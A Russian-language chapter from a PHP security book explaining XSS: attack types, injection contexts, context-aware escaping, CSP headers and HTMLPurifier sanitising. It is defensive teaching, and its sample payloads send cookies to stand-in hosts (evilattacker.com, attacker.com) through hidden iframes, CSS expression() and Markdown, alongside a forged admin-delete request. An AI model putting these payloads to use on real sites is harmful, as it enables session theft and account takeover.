Книга «Безопасность в PHP» (часть 1)
Книга «Безопасность в PHP» (часть 2)

Межсайтовый скриптинг (XSS) — пожалуй, самый типичный вид уязвимостей, широко распространённых в веб-приложениях. По статистике, около 65 % сайтов в той или иной форме уязвимы для XSS-атак. Эти данные должны пугать вас так же, как пугают меня.

Что такое межсайтовый скриптинг?

XSS-атака происходит, когда злоумышленник получает возможность внедрить скрипт (зачастую JavaScript) в страницу, выдаваемую веб-приложением, и выполнить его в браузере клиента. Обычно это делается с помощью переключения контекста данных HTML в скриптовый контекст, чаще всего — когда внедряется новый код HTML, Javascript или CSS-разметка. В HTML достаточно мест, где можно добавить в страницу исполняемый скрипт, а браузеры предоставляют немало способов сделать это. Любые входные данные веб-приложения, например параметры HTTP-запросов, способны внедрить код.

Одна из проблем, связанных с XSS, — постоянная недооценка со стороны программистов, нетипичная для уязвимостей такого серьёзного уровня. Разработчики зачастую не представляют себе степень угрозы и обычно строят защиту, основанную на неверных взглядах и плохих подходах. Особенно это касается PHP, если код пишут разработчики без достаточных умений и познаний. Кроме того, реальные примеры XSS-атак выглядят простыми и наивными, так что изучающие их программисты считают свою защиту достаточной, пока она их устраивает. Нетрудно понять, откуда взялись 65 % уязвимых сайтов.

Если злоумышленник может внедрять в веб-страницы JavaScript и исполнять его, то он способен выполнить любой JavaScript в браузере пользователя. И это даёт полный контроль. Ведь с точки зрения браузера сценарий был получен из веб-приложения, которое автоматически считается надёжным источником.

Поэтому хочу напомнить: любые данные, которые не были созданы самим PHP для текущего запроса, ненадёжны. Это распространяется и на браузер, работающий отдельно от веб-приложения.

Браузер доверяет всему, что он получает от сервера, и это одна из главных причин межсайтового скриптинга. К счастью, проблема решаема, о чём мы поговорим ниже.

Мы можем применить этот принцип еще шире, к самой среде JavaScript-приложения в браузере. Клиентский JavaScript-код варьируется от очень простого до чрезвычайно сложного, часто это отдельное клиентское веб-приложение. Такие приложения стоит защитить не хуже любых других. Они не должны доверять данным, полученным из удалённых источников (в том числе от приложения на сервере), применяя проверку и убеждаясь, что выводимое в DOM содержимое корректно экранируется или обрабатывается.

Внедрённые скрипты могут быть использованы для самых разных задач. Это:

• кража кук и данных авторизации,
• выполнение HTTP-запросов от имени пользователя,
• перенаправление пользователей на заражённые сайты,
• получение доступа на чтение и изменение локальных хранилищ браузера,
• выполнение сложных расчётов и отправка результатов на сервер злоумышленника,
• применение эксплойтов к браузеру и загрузка зловредов,
• эмулирование активности пользователя для кликджекинга,
• перезапись или получение контроля над приложениями браузера,
• атаки на расширения браузера —

и т. д., продолжать можно до бесконечности.

Подмена интерфейса (UI Redress, clickjacking)

В то время как прямая атака на сервер полностью самостоятельна, кликджекинг неразрывно связан с межсайтовым скриптингом, так как использует подобные наборы векторов для атаки. Иногда их сложно различить, потому что одна методика атаки помогает успешному выполнению другой.

Подменой интерфейса называется любая попытка атакующего изменить пользовательский UI веб-приложения. Это позволяет атакующему внедрять новые ссылки, новый HTML-код, чтобы изменить размеры, скрыть/перекрыть оригинальный интерфейс и т. д. Если такая атака выполняется для обмана пользователя, чтобы он нажал на внедрённую ссылку или кнопку, тогда обычно её относят к кликджекингу.

Большая часть этой главы посвящена подмене интерфейса с помощью XSS. Однако есть и другие способы подмены, когда для внедрения используются фреймы. Подробнее мы рассмотрим это в главе 4.

Пример межсайтового скриптинга

Давайте представим, что злоумышленник наткнулся на форум, который позволяет пользователям отображать небольшую подпись под своими комментариями. Злоумышленник создаёт учетную запись, спамит во всех темах в пределах досягаемости, применяя следующую подпись к своим сообщениям:

<script>document.write('<iframe src="http://evilattacker.com?cookie='
    + document.cookie.escape() + '" height=0 width=0 />');</script>

Каким-то чудом движок форума включает эту подпись во все заспамленные топики, и пользователи начинают загружать этот код. Результат очевиден. Злоумышленник внедряет в страницу элемент iframe, который будет отображаться как крошечная точка (нулевого размера) в самом низу страницы, не привлекая никакого внимания. Браузер отправит запрос на содержимое iframe, и в URI злоумышленника будут переданы значения кук каждого участника форума в виде GET-параметра. Их можно сопоставить и использовать для дальнейших атак. В то время как обычные участники злоумышленнику неинтересны, хорошо спланированный троллинг, несомненно, привлечёт внимание модератора или администратора, чьи куки могут оказаться очень полезными для получения административного доступа к форуму.

Это простой пример, но вы можете расширить его. Допустим, злоумышленник захочет узнать имя пользователя, ассоциированного с украденными куками. Легко! Достаточно добавить к URL злоумышленника код DOM-запроса, который вернёт имя и включит его в параметр username= GET-запроса. Или злоумышленнику понадобилась информация о браузере для обхода fingerprint-защиты сессии? Достаточно включить данные с navigator.userAgent.

У этой простой атаки много последствий. Например, можно получить права администратора и контроль над форумом. Поэтому нецелесообразно недооценивать возможности XSS-атаки.

Конечно, в этом примере в подходе злоумышленника есть изъян. Рассмотрим очевидный способ защиты. Все куки с конфиденциальными данными помечены флагом HttpOnly, который запрещает JavaScript доступ к данным этих файлов. В принципе, вы должны помнить, что если злоумышленник внедрит JavaScript, то этот скрипт сможет делать что угодно. Если у злоумышленника не вышло получить доступ к куке и провести атаку с её использованием, то он сделает то, что должны делать все хорошие программисты: напишет код для эффективной автоматизированной атаки.

 <script>
    var params = 'type=topic&action=delete&id=347';
    var http = new XMLHttpRequest();
    http.open('POST', 'forum.com/admin_control.php', true);
    http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
    http.setRequestHeader("Content-length", params.length);
    http.setRequestHeader("Connection", "close");
    http.onreadystatechange = function() {
        if(http.readyState == 4 && http.status == 200) {
            // Do something else.
        }
    };
    http.send(params);
 </script>

Выше показан один из способов послать POST-запрос, удаляющий тему на форуме. Можно установить его срабатывание только для модератора (т. е. если имя пользователя где-то отображается, мы можем сравнить его со списком известных модераторов или обнаружить специальные стили, примененные к модератору).

Как следует из вышесказанного, HttpOnly-куки имеют ограниченное применение в защите от XSS. Они блокируют захват кук, но не предотвращают их использование во время XSS-атаки. Кроме того, злоумышленник предпочтёт не оставлять следов в видимой разметке, чтобы не вызывать подозрений, если он сам не хочет быть обнаруженным.

Типы XSS-атак

Атаки с помощью XSS можно классифицировать несколькими путями. Один из них — по способу попадания вредоносных входных данных в веб-приложения. Во входные данные приложения может быть включён результат текущего запроса, сохранённый для включения в последующий выходной запрос. Или данные могут быть переданы в DOM-операции на базе JavaScript. Таким образом, получаются следующие типы атак.

Отражённая XSS-атака

Здесь ненадёжные входные данные, отправленные веб-приложению, включаются сразу в выходные данные приложения, т. е. «отражаются» от сервера к браузеру в одном и том же запросе. Отражение бывает с сообщениями об ошибках, поисковыми материалами, предварительными просмотрами постов и т. д. Эта форма атаки может быть организована, чтобы убедить пользователя перейти по ссылке или отправить данные из формы злоумышленника. Чтобы заставить пользователя нажать на ненадёжные ссылки, иногда требуется социальная инженерия, атака подмены интерфейса или сервис сокращения ссылок. Социальные сети и сами сервисы сокращения ссылок особенно уязвимы для подмены URL-адресов с использованием сокращённых ссылок, поскольку такие ссылки — обычное явление на данных ресурсах. Будьте осторожны и внимательно проверяйте, на что нажимаете!

Хранимая XSS-атака

Когда зловредная полезная нагрузка где-то хранится и извлекается по мере просмотра данных пользователем, атаку относят к хранимым. Помимо баз данных, есть множество других мест, включая кеши и логи, которые тоже пригодны для долгосрочного хранения данных. Уже известны случаи атак с внедрением в логи.

XSS-атака на основе DOM

Атака на основе DOM может быть как отражённой, так и хранимой. Различие в том, на что направлена атака. Чаще всего пытаются сразу же изменять разметку HTML-документа. Однако HTML можно изменять и с помощью JavaScript, используя DOM. Успешно внедрённые в HTML элементы в дальнейшем могут быть использованы в DOM-операциях в JavaScript. Целями атак становятся также уязвимости в JS-библиотеках или их неправильное применение.

Межсайтовый скриптинг и контекст внедрения

XSS-атака успешна, если в ходе неё внедряется контекст. Термин «контекст» описывает то, как браузеры интерпретируют содержимое HTML-документа. Браузеры распознают ряд ключевых контекстов, включая HTML-код, атрибуты HTML, JavaScript, URL, CSS.

Цель злоумышленника — взять данные, предназначенные для одного из этих контекстов, и заставить браузер интерпретировать их в другом контексте. Например:

<div style="background:<?php echo $colour ?>;">

$colour заполняется из базы данных настроек пользователя, которые влияют на цвет фона для текстового блока. Значение вводится в контексте CSS, дочернем по отношению к контексту HTML-атрибута. То есть мы добавили CSS в атрибут style. Может показаться, что необязательно избегать такой ловушки с контекстом, но посмотрим на следующий пример:

$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo $colour ?>;">

Если атакующий успешно внедрит этот colour, то он может внедрить CSS-выражение, которое выполнит определённый JavaScript в браузере Internet Explorer. Другими словами, злоумышленник сумеет переключить текущий контекст путём введения нового контекста JavaScript.

Посмотрев на предыдущий пример, некоторые читатели вспомнят об экранировании (escaping). Воспользуемся им:

$colour = "expression(document.write('<iframe src="
    .= "http://evilattacker.com?cookie=' + document.cookie.escape() + "
    .= "' height=0 width=0 />'))";

<div style="background:<?php echo htmlspecialchars($colour, ENT_QUOTES, 'UTF-8') ?>;">

Если вы проверите это в IE, то быстро обнаружите, что происходит что-то очень нехорошее. XSS-атака всё равно успешно работает — даже после экранирования с помощью функции htmlspecialchars(), чтобы избежать $colour!

Вот как важно правильно понимать контекст. Каждый контекст требует другого метода экранирования, потому что у каждого контекста свои специальные символы и разная необходимость в экранировании. Недостаточно повсюду разбрасываться функциями htmlspecialchars() и htmlentities() и молиться, чтобы ваше веб-приложение стало безопасным.

Что пошло не так в предыдущем примере? Что заставило браузер деэкранировать атрибуты HTML перед интерпретацией контекста? Мы проигнорировали тот факт, что необходимо экранировать два контекста.

Сначала CSS должен был экранировать $colour, и только затем — экранировать HTML. Это гарантировало бы, что $colour преобразован в правильный строковый литерал, без скобок, кавычек, пробелов и других символов, которые позволяют внедрить expression(). Не понимая, что наш атрибут охватывает два контекста, мы экранировали его, как если бы это был только один HTML-атрибут. Довольно распространённая ошибка.

Из этой ситуации можно вынести урок: контекст важен. При XSS-атаке злоумышленник всегда будет стараться прыгнуть из текущего контекста в другой, где можно исполнить JavaScript. Если вы способны определить все контексты в выходном потоке HTML с учётом их вложенности, значит, вы на десять шагов ближе к успешной защите веб-приложения от XSS.

Давайте рассмотрим ещё один пример:

<a href="http://www.example.com">Example.com</a>

Если не принимать во внимание ненадёжные входные данные, то этот код можно проанализировать следующим образом:

1. Существует контекст URL, т. е. значение атрибута href.
2. Есть контекст HTML-атрибута, т. е. родители контекста URL.
3. Есть контекст тела HTML, т. е. текст внутри <a> тега.

Это три разных контекста. Так что понадобится до трёх способов экранирования, если источники данных будут определены как ненадёжные. В следующем разделе мы подробней рассмотрим экранирование в качестве защиты от XSS.

Защита от межсайтового скриптинга

Защититься от XSS возможно, но защита должна применяться последовательно, без исключений и упрощений, желательно с самого начала разработки веб-приложения, пока у всех в памяти свежи воспоминания о рабочем процессе. Внедрение защиты на более поздних этапах может быть дорогостоящим делом.

Проверка входных данных

Проверка ввода — только первая линия защиты веб-приложения. При таком типе защиты мы знаем лишь то, как сейчас используются ненадёжные данные, и на этапе получения данных не можем предсказать, где и как они будут дальше применяться. Сюда относятся практически все текстовые данные, так как мы всегда должны обеспечивать пользователю возможность написания кавычек, угловых скобок и других символов.

Проверка работает лучше всего благодаря предотвращению XSS-атак на данные, которым присущи предельные значения. Допустим, целое число не должно содержать специфические для HTML символы. Параметры, такие как название страны, должны соответствовать заранее заданному списку реальных стран, и т. д.

Проверка входных данных помогает контролировать данные с определённым синтаксисом. Например, допустимый URL-адрес должен начинаться с префикса http:// или https://, а не с гораздо более опасных конструкций javascript: или data:. По сути, все адреса, полученные из непроверенных входных данных, должны проверяться на наличие этих тегов. Экранирование URI javascript: или data: имеет такой же эффект, как экранирование легального URL-адреса. То есть вообще никакого эффекта.

Хотя проверка входных данных не может блокировать всю зловредную полезную нагрузку при XSS-атаке, она способна остановить наиболее очевидные типы атаки. Проверка входных данных подробно рассматривалась во второй части книги.

Экранирование (а также кодирование)

Экранирование данных на выходе позволяет гарантировать, что данные не будут ошибочно восприняты принимающим парсером или интерпретатором. Очевидные примеры — знаки «меньше» и «больше», которые обозначают HTML-теги. Если позволить этим символам быть вставленными из ненадёжных входных данные, злоумышленник сможет вводить новые теги, которые браузер будет отрисовывать. Обычно эти символы заменяются последовательностями > и $lt;.

Замена символов предполагает сохранение смысла экранированных данных. Экранирование просто заменяет символы, имеющие определённое значение, альтернативными. Обычно используется шестнадцатеричное представление или что-то более читабельное, например HTML-последовательности (если их применение безопасно).

Как упоминалось в главе о контекстах, способ экранирования зависит от того, какого типа содержимое внедряется. Экранирование HTML-кода отличается от экранирования JavaScript, которое, в свою очередь, отличается от экранирования адресов. Применение неверной экранирующей стратегии для определённого контекста способно привести к неэффективности защиты, к созданию уязвимости, которой может воспользоваться злоумышленник.

Для облегчения экранирования рекомендуется применять отдельный класс, разработанный с этой целью. PHP не может предоставить все необходимые экранирующие функции из коробки, а многое из предлагаемого не так безопасно, как считает большинство разработчиков.
Давайте рассмотрим правила экранирования, применяемые к наиболее распространённым контекстам: телу HTML, атрибутам HTML, JavaScript, URL и CSS.

Никогда не вводите данные, за исключением ввода из доверенных мест

Прежде чем изучать стратегии экранирования, необходимо убедиться, что шаблоны вашего веб-приложения не теряют (misplace) данные. Это относится к внедрению данных в чувствительные области HTML, которые дают злоумышленнику возможность влиять на порядок обработки разметки и которые обычно не требуют экранирования при использовании программистом. Рассмотрим примеры, где [… ] — это внедряемые данные:

<script>...</script>

<!--...-->

<div ...="test"/>

<... href="http://www.example.com"/>

<style>...</style>

Каждое из вышеперечисленных мест опасно. Разрешение данных в теге script, вне строковых и числовых литералов, позволяет при атаке внедрить JavaScript. Данные, помещённые в HTML-комментарии, могут быть использованы для запуска условных выражений (conditionals) Internet Explorer и для других непредвиденных действий. Следующие два места более очевидны, так как никто не позволил бы злоумышленнику влиять на свои теги или названия атрибутов — мы как раз пытаемся это предотвратить! Наконец, как и в случае со скриптами, мы не можем позволить злоумышленникам внедряться непосредственно в CSS, так как это даст возможность проводить атаки подмены интерфейса и выполнять скрипты, используя поддерживаемую в Internet Explorer функцию expression().

Всегда экранируйте HTML до внедрения данных в HTML-тело

Контекст HTML-тела ссылается на текстовое содержимое, которое заключено в теги. Например, текст между тегами <body>, <div> или любыми другими парными тегами для хранения текста. Данные, внедряемые в содержимое любых тегов, должны быть экранированы под HTML.

Экранирование HTML хорошо известно в PHP в виде функции htmlspecialchars().

Всегда экранируйте HTML-атрибуты до внедрения данных в их контекст

Контекст HTML-атрибута ссылается на все значения элемента, за исключением свойств, которые интерпретируются браузером как CDATA. Это исключение довольно запутанное, но в основном оно относится к HTML-стандартам, основанным не на XML, где JavaScript может включаться в атрибуты события в неэкранированном виде. Для всех других атрибутов у вас есть следующие два варианта:

1. Если значение атрибута в кавычках, то вы МОЖЕТЕ использовать экранирование HTML.
2. Однако если значение задаётся без кавычек, то вы ДОЛЖНЫ использовать экранирование HTML-атрибутов.

Также второй вариант применяется, когда правила приведения атрибутов могут быть неясными. Например, в HTML5 считается вполне допустимым использовать значения атрибутов без кавычек, и в реальных проектах уже встречается много примеров такого «умного» подхода. В любой непонятной ситуации действуйте с осторожностью.

Всегда экранируйте JavaScript до внедрения в значения данных

Значения данных в JavaScript в основном строковые. Поскольку вы не можете экранировать числа, есть дополнительное правило: всегда проверяйте валидность чисел...

Политика защиты контента

Ключевой элемент всех наших разговоров о межсайтовом скриптинге — то, что браузер без вопросов выполняет весь JavaScript-код, который получает от сервера, независимо от источника внедрения кода. При получении HTML-документа браузер не может узнать, какие из вложенных ресурсов безопасны, а какие нет. А если бы мы могли это изменить?

Политика защиты контента (CSP) — это HTTP-заголовок, передающий белый список надёжных источников ресурсов, которым браузер может доверять. Любой источник, не указанный в списке разрешённых, причисляется к ненадёжным и просто игнорируется. Рассмотрим следующее:

X-Content-Security-Policy: script-src 'self'

Этот заголовок CSP сообщает браузеру, что нужно доверять только тем адресам источника JavaScript, которые указывают на текущий домен. После браузер будет загружать скрипты из этого источника, но полностью игнорировать все остальные. Это означает, что http://attacker.com/naughty.js не загрузится, если злоумышленник каким-то образом сумеет его внедрить. Кроме того, все встроенные скрипты, например теги

Если нужно использовать JavaScript из другого источника, помимо исходного адреса, то мы можем включить его в белый список. Например, давайте добавим адрес CDN jQuery.

X-Content-Security-Policy: script-src 'self' http://code.jquery.com

Можно добавить другие директивы ресурсов, например путь к таблице CSS-стилей, разделив точкой с запятой директивы и разрешённые адреса.

X-Content-Security-Policy: script-src 'self' http://code.jquery.com; style-src 'self'

Формат значения заголовка очень прост. Значение состоит из директивы script-src, после которой идёт список разделённых пробелами источников, применяемый в качестве белого списка. Источником может быть ключевое слово в кавычках, такое как 'self', или URL. Значение URL-адреса сопоставляется с полученным списком. Информация, отсутствующая в URL, может быть свободно изменена в документе HTML. Указание http://code.jquery.com предотвращает загрузку скриптов с http://jquery.com или http://domainx.jquery.com, потому что мы явным образом задали разрешённые домены. Чтобы разрешить все поддомены, можно указать просто http://jquery.com. То же самое относится и к локальным путям, портам, URL-схемам и т. д.

Суть белого списка CSP проста. Если вы создадите список ресурсов конкретного вида, то всё, что в него не войдёт, не загрузится. Если вы не определите список для типа ресурсов, то браузер по умолчанию отбрасывает все ресурсы этого типа.

Поддерживаются следующие директивы ресурсов:

• connect-src: ограничивает источники, к которым можно подключиться с помощью xmlhttprequest, веб-сокетов и т. д.
• font-src: ограничивает источники для веб-шрифтов.
• frame-src: ограничивает URL-адреса для фреймов.
• img-src: ограничивает источники изображений.
• media-src: ограничивает источники видео и аудио.
• object-src: ограничивает источники для Flash и других плагинов.
• script-src: ограничивает источники для файлов скриптов.
• style-src: ограничивает источники для CSS.

Для задания безопасных стандартных параметров существует специальная директива default-src, с помощью которой можно изначально добавить в белый список ссылки для всех перечисленных категорий.

X-Content-Security-Policy: default-src 'self'; script-src 'self' http://code.jquery.com

Это позволит ограничить разрешённые ресурсы текущим доменом, но при этом также добавить исключение для скрипта jQuery. Такое использование сразу закрывает все ненадёжные источники и позволяет разрешать только те, которые считаются заведомо безопасными.

Кроме URL, разрешённым источникам можно назначить следующие ключевые слова, которые должны быть записаны в одинарных кавычках:

‘none’ ‘self’ ‘unsafe-inline’ ‘unsafe-eval’

Вы заметили слово unsafe, т. е. «небезопасно»? Лучший способ применения CSP — не выбирать подходы, которые выбирают злоумышленники. Они хотят внедрять inline-скрипты или другие ресурсы? Если мы сами избежим inline-применения, то наши веб-приложения могут приказать браузерам игнорировать всё inline-содержимое без исключения. Будем использовать внешние файлы скриптов и функции addEventListener() вместо атрибутов событий. Но раз вы придумываете для себя правило, то не обойтись и без нескольких полезных исключений, не так ли? Не так. Забудьте о любых исключениях. Включение параметра ‘unsafe-inline’ противоречит самой цели применения CSP.

Ключевое слово ‘none’ означает именно «ничего». Если установить его в качестве источника ресурса, то параметр заставит браузер игнорировать все ресурсы указанного типа. Это добавит вам мелких проблем, но я советую сделать что-то наподобие следующего примера, чтобы белый список вашего CSP всегда ограничивался только тем, что он разрешает явно:

X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

И последнее предостережение. Поскольку CSP — новое решение, вам потребуется дублировать заголовок X-Content-Security-Policy, чтобы убедиться, что его поймут и WebKit-браузеры, такие как Safari и Chrome. Подарок от WebKit для вас.

X-Content-Security-Policy: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'
X-WebKit-CSP: default-src 'none'; script-src 'self' http://code.jquery.com; style-src 'self'

Определение браузера пользователя

Очистка HTML

В какой-то момент веб-приложение столкнётся с необходимостью включать задаваемый извне HTML-код в свою веб-страницу без применения к нему экранирования. Наглядные примеры: цитирование сообщений на форуме, комментарии в блоге, формы редактирования и записи из RSS или Atom. Если такие данные подвергнуть экранированию символов, то они будут искажены и испорчены, поэтому вместо экранирования здесь приходится тщательно фильтровать данные, чтобы убедиться, что все опасные элементы устранены.

Вы заметили, что я написал об HTML-коде «задаваемый извне», а не «создаваемый извне»? Множество веб-приложений позволяют пользователям вместо HTML-разметки включать такие альтернативы, как BBCode, Markdown или Textile. Распространённая ошибка в PHP — мнение, что эти языки разметки предотвращают XSS-атаки. Полный бред. Цель этих языков — позволить пользователям проще и легче создавать форматированный текст, обходясь без работы с HTML. Не все знают HTML, да и сам этот язык не в точности соответствует своим SGML-корням. Вручную создавать длинные блоки форматированного текста в HTML — долго и мучительно.

HTML из таких входных данных генерируется на сервере. Это подразумевает под собой доверительные операции, само доверие к которым — распространённая ошибка. Получаемый в результате таких операций HTML по-прежнему «заданный извне». Мы не можем считать его безопасным. Это более очевидно на примере ленты блога, чьи записи ещё до момента генерирования являются валидным HTML.

Рассмотрим следующий фрагмент кода:

[url=javascript:alert(‘I can haz Cookie?n’+document.cookie)]Free Bitcoins Here![/url]

BB-код ограничивает HTML по умолчанию, но это не даёт абсолютной неуязвимости. Например, большинство генераторов не заметят использования HTTP URL’ов и пропустят их. Выделение Markdown:

I am a Markdown paragraph.<script>document.write(‘<iframe src=”http://attacker.com?cookie=‘ + document.cookie.escape() + ‘” height=0 width=0 />’);</script>

There’s no need to panic. I swear I am just plain text!

Markdown — популярная альтернатива для написания HTML, но он также позволяет авторам смешивать HTML с Markdown. Это действительно так, генераторы Markdown не обращают внимания на включённую XSS-нагрузку.

Очевидно, необходимо применять комплекс мер по экранированию HTML независимо от того, какой тип разметки мы собираемся включать в выходной поток приложения после того, как завершено генерирование и прочие операции. Никаких исключений. Входные данные остаются ненадёжными, пока мы не обработали их и не убедились в их безопасности.

Очистка HTML — это трудоёмкий процесс парсинга входных данных, применения списка разрешённых элементов, атрибутов и других необходимых вещей. Занятие не для слабонервных, здесь очень легко ошибиться, а сам PHP страдает от множества небезопасных библиотек, авторы которых утверждают, что всё делают правильно. Поэтому не выбирайте «модные» решения, пишите их самостоятельно.

Единственная библиотека в PHP, которая действительно выдаёт безопасный HTML, — HTMLPurifier. Она активно поддерживается, в значительной степени проверена, и я настоятельно рекомендую её. С HTMLPurifier достаточно просто работать, по сути, требуется только задать разрешённые элементы:

// Basic setup without a cache
$config = HTMLPurifier_Config::createDefault();
$config->set('Core', 'Encoding', 'UTF-8');
$config->set('HTML', 'Doctype', 'HTML 4.01 Transitional');
// Create the whitelist
$config->set('HTML.Allowed', 'p,b,a[href],i'); // basic formatting and links
$sanitiser = new HTMLPurifier($config);
$output = $sanitiser->purify($untrustedHtml);

Не используйте другие библиотеки в качестве HTML-обработчиков, если не уверены в том, что делаете.

Внешняя защита приложения

[Продолжение следует]